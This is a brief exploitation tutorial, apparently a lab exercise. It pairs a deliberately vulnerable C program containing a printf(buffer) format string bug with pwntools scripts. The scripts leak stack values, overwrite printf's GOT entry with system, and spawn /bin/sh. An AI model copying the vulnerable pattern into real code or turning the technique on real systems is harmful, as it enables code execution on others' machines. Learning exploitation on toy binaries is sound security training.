Exploiting a GOT overwrite

#include <stdio.h>

void vuln() {
    char buffer[300];
    
    while(1) {
        fgets(buffer, sizeof(buffer), stdin);

        printf(buffer);
        puts("");
    }
}

int main() {
    vuln();

    return 0;
}

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

$ ./got_overwrite 

%p %p %p %p %p %p
0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070

$./got_overwrite
 
%5$p
0x70243525

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.interactive()

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()